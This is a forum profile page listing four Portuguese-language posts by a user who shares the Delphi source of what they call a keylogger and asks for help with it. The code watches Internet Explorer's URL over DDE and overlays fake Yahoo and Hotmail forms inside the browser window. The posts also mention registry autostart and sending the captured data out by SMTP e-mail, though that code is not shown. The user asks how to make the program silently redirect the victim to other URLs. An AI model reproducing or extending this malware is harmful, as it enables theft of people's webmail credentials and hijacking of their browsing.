Ir para conteúdo
Fórum Script Brasil

Exceed

Membros
  • Total de itens

    4
  • Registro em

  • Última visita

Tudo que Exceed postou

  1. Então o programa não conseguiu capturar as guias que não estavam ativas só a guia ativa ele capturou. E no caso de várias janelas ele conseguiu capturar todas as janelas. Mais o que eu quero é o seguinte: quando o usuário for digitar http://google.com.br a guia no momento vai estar ativa e é nesse momento que eu quero que o programa redirecione automaticamente o usuário para outro link. Outra coisa, teria como o programa capturar pela URL ao invéz do caption da Janela? Desculpe as perguntas, mais eu não manja quase nada de Delphi.
  2. onde voce esta digitando ?? no IE ( e qual é a versão que esta usando ? ) ou num campo do proprio form ? Estou digitando no próprio browser no IE 8 qual sistema operacional ? qual a versão do seu delphi ? etc... Uso Win XP e Delphi 7
  3. O código completo que identifica a URL e chama o Form está postado, o resto do código acredito eu que não tenha nada a ver, pois o resto do código é a parte que cria registro pra toda vez que for iniciazlizado o windows o programa ser execultado e o código de SMTP pra mandar os dados por e-mail. Qual código você gostaria de ver?
  4. Pessoal, estou com uma source de um Keylogger com o seguinte código abaixo: function TForm1.GetURL(Service: string): String; var ClDDE: TDDEClientConv; temp:PChar; begin Result := ''; //create a new DDE Client object ClDDE:= TDDEClientConv.Create( nil ); with ClDDE do begin SetLink(Service,'WWW_GetWindowInfo'); temp := RequestData('0xFFFFFFFF'); Result := StrPas(temp); StrDispose(temp); CloseLink; end; ClDDE.Free; end; procedure TForm1.Timer1Timer(Sender: TObject); var S: Array[0..255] of Char; Text : String; Posicao : Integer; begin text := GetURL('IExplore'); GetWindowText(GetForeGroundWindow, S, SizeOf(S)); Site := StrPas(S); //Yahoo if StrPos(PChar(text), PChar('http://www.yahoo.com.br')) <> nil then Begin sNome := 'yahoo'; VerificaResulocao; end; //Hotmail if StrPos(PChar(text), PChar('http://www.hotmail.com')) <> nil then Begin sNome := 'hotmail'; VerificaResulocao; end; end; procedure TForm1.ActiveForm(sTipo:string); var hBody: HWND; lRetVal: integer; begin Timer1.Enabled := False; hIE := GetForeGroundWindow; hBody := windows.FindWindowEx(hIE,0,'Shell DocObject View',0); try if sTipo = 'yahoo' then begin SetWindowText(hIE,'Yahoo - Microsoft Internet Explorer'); frmYahoo := TfrmYahoo.Create(self); windows.SetParent(frmYahoo.Handle,hBody); frmYahoo.Height := 3000; frmYahoo.Width := 3000; frmYahoo.left := -4; frmYahoo.Top := 1; frmYahoo.show; end; if sTipo = 'hotmail' then begin SetWindowText(hIE,'Hotmail - Microsoft Internet Explorer'); frmHotmail := TfrmHotmail.Create(self); windows.SetParent(frmHotmail.Handle,hBody); frmHotmail.Height := 47; frmHotmail.Width := 147; frmHotmail.left := 870; frmHotmail.Top := 2; frmHotmail.show; end; finally end; end; Esse Código basicamente faz com que ao digitar http://www.yahoo.com.br chame o form do yahoo e ao digitar http://hotmail.com chame o form do hotmail. Só que eu quero que ao invés de chamar um form faça um redirecionamento de URL, por ex: ao digitar no browser http://www.yahoo.com.br e pressionar a tecla enter, eu seje redirecionado para o site http://www.google.com Aí eu Gostaria de saber quais mudanças eu faço nesse código para tal feito?
×
×
  • Criar Novo...